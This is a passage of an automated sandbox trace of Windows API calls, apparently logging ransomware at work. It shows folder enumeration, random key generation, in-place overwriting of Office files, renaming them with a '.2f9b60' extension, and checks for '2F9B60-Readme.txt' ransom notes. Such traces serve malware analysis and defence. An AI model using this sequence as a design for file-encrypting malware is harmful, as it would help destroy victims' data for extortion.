_Dest=0x431fa5aa, _Format="%c%c" | out: _Dest="bd") returned 2 [0222.128] sprintf (in: _Dest=0x431fa5ac, _Format="%c%c" | out: _Dest="6e") returned 2 [0222.128] sprintf (in: _Dest=0x431fa5ae, _Format="%c%c" | out: _Dest="32") returned 2 [0222.128] RtlInitAnsiString (in: DestinationString=0x39ebfbc8, SourceString="6d65f23708f422bb6707eca37f1fb3ea9987bf311433827fee92a9556d89488a4602eda0abbd6e32" | out: DestinationString="6d65f23708f422bb6707eca37f1fb3ea9987bf311433827fee92a9556d89488a4602eda0abbd6e32") [0222.128] RtlAnsiStringToUnicodeString (in: DestinationString=0x39ebfb98, SourceString="6d65f23708f422bb6707eca37f1fb3ea9987bf311433827fee92a9556d89488a4602eda0abbd6e32", AllocateDestinationString=1 | out: DestinationString="6d65f23708f422bb6707eca37f1fb3ea9987bf311433827fee92a9556d89488a4602eda0abbd6e32") returned 0x0 [0222.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f49e0 [0222.129] wcscat (in: _Dest=0x202b1550, _Source="6d65f23708f422bb6707" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\6d65f23708f422bb6707") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\6d65f23708f422bb6707" [0222.129] wcscat (in: _Dest=0x202b1550, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\6d65f23708f422bb6707.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\6d65f23708f422bb6707.2f9b60" [0222.129] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\6d65f23708f422bb6707.2f9b60", NtPathName=0x39ebfb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\6d65f23708f422bb6707.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0222.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x202795b0 [0227.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202795b0) returned 1 [0227.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b86d0) returned 1 [0227.141] NtQueryInformationFile (in: FileHandle=0x14c4, IoStatusBlock=0x39ebfbd8, FileInformation=0x39ebfbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39ebfbd8, FileInformation=0x39ebfbe8) returned 0x0 [0227.141] NtSetInformationFile (FileHandle=0x14c4, IoStatusBlock=0x39ebfbd8, FileInformation=0x39ebfbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1550) returned 1 [0236.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f49e0) returned 1 [0236.077] FlushFileBuffers (hFile=0x14c4) returned 1 [0238.175] CloseHandle (hObject=0x14c4) returned 1 [0240.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ceb7c90 [0240.440] wcscpy (in: _Dest=0x1ceb7c90, _Source="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0240.440] wcscat (in: _Dest=0x1ceb7c90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\2F9B60-Readme.txt" [0240.440] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\3082\\2f9b60-readme.txt")) Thread: id = 1259 os_tid = 0xd60 [0115.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1b7adac0 [0115.786] wcscpy (in: _Dest=0x1b7adac0, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0115.786] wcscat (in: _Dest=0x1b7adac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0115.786] wcscat (in: _Dest=0x1b7adac0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*" [0115.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027db80 [0115.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x2027db80 | out: lpFindFileData=0x2027db80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dd90 [0115.874] wcscmp (_String1=".", _String2=".") returned 0 [0115.874] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x2027db80 | out: lpFindFileData=0x2027db80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.874] wcscmp (_String1="..", _String2=".") returned 1 [0115.875] wcscmp (_String1="..", _String2="..") returned 0 [0115.875] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x2027db80 | out: lpFindFileData=0x2027db80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0115.875] wcscmp (_String1="msmdsrv.rll", _String2=".") returned 1 [0115.875] wcscmp (_String1="msmdsrv.rll", _String2="..") returned 1 [0115.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bd70 [0115.875] wcscpy (in: _Dest=0x2050bd70, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0115.875] wcscat (in: _Dest=0x2050bd70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0115.875] wcscat (in: _Dest=0x2050bd70, _Source="msmdsrv.rll" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" [0150.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050bd70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1028 [0150.916] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x2027db80 | out: lpFindFileData=0x2027db80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0150.916] wcscmp (_String1="msolui100.rll", _String2=".") returned 1 [0150.916] wcscmp (_String1="msolui100.rll", _String2="..") returned 1 [0150.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1079c0 [0150.916] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0150.916] wcscat (in: _Dest=0x1079c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0150.916] wcscat (in: _Dest=0x1079c0, _Source="msolui100.rll" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" [0150.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1079c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2304 [0150.917] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x2027db80 | out: lpFindFileData=0x2027db80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0150.917] FindClose (in: hFindFile=0x1cd9dd90 | out: hFindFile=0x1cd9dd90) returned 1 [0150.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027db80) returned 1 [0150.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0150.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae060) returned 1 Thread: id = 1260 os_tid = 0xd68 [0115.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif")) returned 0x20 [0116.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF", dwFileAttributes=0x20) returned 1 [0116.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1604 [0116.270] GetFileSizeEx (in: hFile=0x1604, lpFileSize=0x3997f880 | out: lpFileSize=0x3997f880*=3959) returned 1 [0116.270] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0xf73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.270] ReadFile (in: hFile=0x1604, lpBuffer=0x3997f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3997f848, lpOverlapped=0x0 | out: lpBuffer=0x3997f800*, lpNumberOfBytesRead=0x3997f848*=0x4, lpOverlapped=0x0) returned 1 [0116.309] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0116.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0116.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0116.309] NtQuerySystemTime (in: CurrentTime=0x3997f740 | out: CurrentTime=0x3997f740*=132462177217654000) returned 0x0 [0116.309] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x484ecd8f [0116.309] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x39f369ac [0116.309] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x574f7580 [0116.309] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x1883cfd5 [0116.309] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x13d92268 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x34558c90 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x43c343f9 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x66eaa0df [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x399bac51 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x5a24c98d [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x1753a715 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x65737537 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x1edf186a [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x2e241371 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x43220bcb [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x6044dbb7 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x4a7c649c [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x615c4649 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0xb4e6a2d [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x7d376982 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x36ed3fe3 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x3bc2daf [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x313e6379 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x20630381 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x71806b37 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x6bb0cdba [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x5290747 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x56ceeb40 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x7bc6a92 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x7d507391 [0116.310] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x280d9fe6 [0116.311] RtlRandomEx (in: Seed=0x3997f730 | out: Seed=0x3997f730) returned 0x231d7cc5 [0116.320] ReadFile (in: hFile=0x1604, lpBuffer=0x2016a520, nNumberOfBytesToRead=0xf77, lpNumberOfBytesRead=0x3997f730, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesRead=0x3997f730*=0xf77, lpOverlapped=0x0) returned 1 [0116.320] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.321] WriteFile (in: hFile=0x1604, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0xf77, lpNumberOfBytesWritten=0x3997f734, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x3997f734*=0xf77, lpOverlapped=0x0) returned 1 [0116.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263830 [0116.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0116.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263470) returned 1 [0116.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0116.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0116.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0116.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0116.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263470 [0116.327] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0116.327] WriteFile (in: hFile=0x1604, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3997f850, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3997f850*=0x10a, lpOverlapped=0x0) returned 1 [0116.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0116.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0116.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0116.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bc0) returned 1 [0116.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0116.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0116.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0116.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261970) returned 1 [0116.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0116.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0116.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8340 [0116.333] sprintf (in: _Dest=0x1b7d8340, _Format="%c%c" | out: _Dest="f8") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8342, _Format="%c%c" | out: _Dest="88") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8344, _Format="%c%c" | out: _Dest="02") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8346, _Format="%c%c" | out: _Dest="54") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8348, _Format="%c%c" | out: _Dest="fa") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d834a, _Format="%c%c" | out: _Dest="b4") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d834c, _Format="%c%c" | out: _Dest="20") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d834e, _Format="%c%c" | out: _Dest="41") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8350, _Format="%c%c" | out: _Dest="b1") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8352, _Format="%c%c" | out: _Dest="cb") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8354, _Format="%c%c" | out: _Dest="24") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8356, _Format="%c%c" | out: _Dest="33") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8358, _Format="%c%c" | out: _Dest="82") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d835a, _Format="%c%c" | out: _Dest="55") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d835c, _Format="%c%c" | out: _Dest="7c") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d835e, _Format="%c%c" | out: _Dest="dc") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8360, _Format="%c%c" | out: _Dest="39") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8362, _Format="%c%c" | out: _Dest="03") returned 2 [0116.333] sprintf (in: _Dest=0x1b7d8364, _Format="%c%c" | out: _Dest="4b") returned 2 [0116.334] sprintf (in: _Dest=0x1b7d8366, _Format="%c%c" | out: _Dest="ca") returned 2 [0116.334] sprintf (in: _Dest=0x1b7d8368, _Format="%c%c" | out: _Dest="8c") returned 2 [0116.334] sprintf (in: _Dest=0x1b7d836a, _Format="%c%c" | out: _Dest="f0") returned 2 [0116.334] sprintf (in: _Dest=0x1b7d836c, _Format="%c%c" | out: _Dest="4b") returned 2 [0116.334] sprintf (in: _Dest=0x1b7d836e, _Format="%c%c" | out: _Dest="c8") returned 2 [0116.334] RtlInitAnsiString (in: DestinationString=0x3997f8c8, SourceString="f8880254fab42041b1cb243382557cdc39034bca8cf04bc8" | out: DestinationString="f8880254fab42041b1cb243382557cdc39034bca8cf04bc8") [0116.334] RtlAnsiStringToUnicodeString (in: DestinationString=0x3997f898, SourceString="f8880254fab42041b1cb243382557cdc39034bca8cf04bc8", AllocateDestinationString=1 | out: DestinationString="f8880254fab42041b1cb243382557cdc39034bca8cf04bc8") returned 0x0 [0116.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced98d0 [0116.334] wcscat (in: _Dest=0x2050bab0, _Source="f8880254fab4" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f8880254fab4") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f8880254fab4" [0116.334] wcscat (in: _Dest=0x2050bab0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f8880254fab4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f8880254fab4.2f9b60" [0116.334] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f8880254fab4.2f9b60", NtPathName=0x3997f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\f8880254fab4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0116.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118610 [0116.335] NtSetInformationFile (FileHandle=0x1604, IoStatusBlock=0x3997f910, FileInformation=0x118610, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0117.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf491c0) returned 1 [0117.234] NtQueryInformationFile (in: FileHandle=0x1604, IoStatusBlock=0x3997f8d8, FileInformation=0x3997f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3997f8d8, FileInformation=0x3997f8e8) returned 0x0 [0117.235] NtSetInformationFile (FileHandle=0x1604, IoStatusBlock=0x3997f8d8, FileInformation=0x3997f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bab0) returned 1 [0117.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced98d0) returned 1 [0117.241] FlushFileBuffers (hFile=0x1604) returned 1 [0117.523] CloseHandle (hObject=0x1604) returned 1 [0117.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050bc10 [0117.528] wcscpy (in: _Dest=0x2050bc10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0117.528] wcscat (in: _Dest=0x2050bc10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0117.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0117.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bc10) returned 1 [0117.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 Thread: id = 1261 os_tid = 0xd6c [0115.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif")) returned 0x20 [0116.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF", dwFileAttributes=0x20) returned 1 [0116.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe34 [0116.141] GetFileSizeEx (in: hFile=0xe34, lpFileSize=0x23c0f6c0 | out: lpFileSize=0x23c0f6c0*=47) returned 1 [0116.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0116.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0116.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0116.143] NtQuerySystemTime (in: CurrentTime=0x23c0f580 | out: CurrentTime=0x23c0f580*=132462177216094000) returned 0x0 [0116.143] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x882e392 [0116.143] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x6eca2199 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x13e65c9 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x27364b8c [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x577a4e40 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x6e01a09e [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 0x5eacb680 [0116.144] RtlRandomEx (in: Seed=0x23c0f570 | out: Seed=0x23c0f570) returned 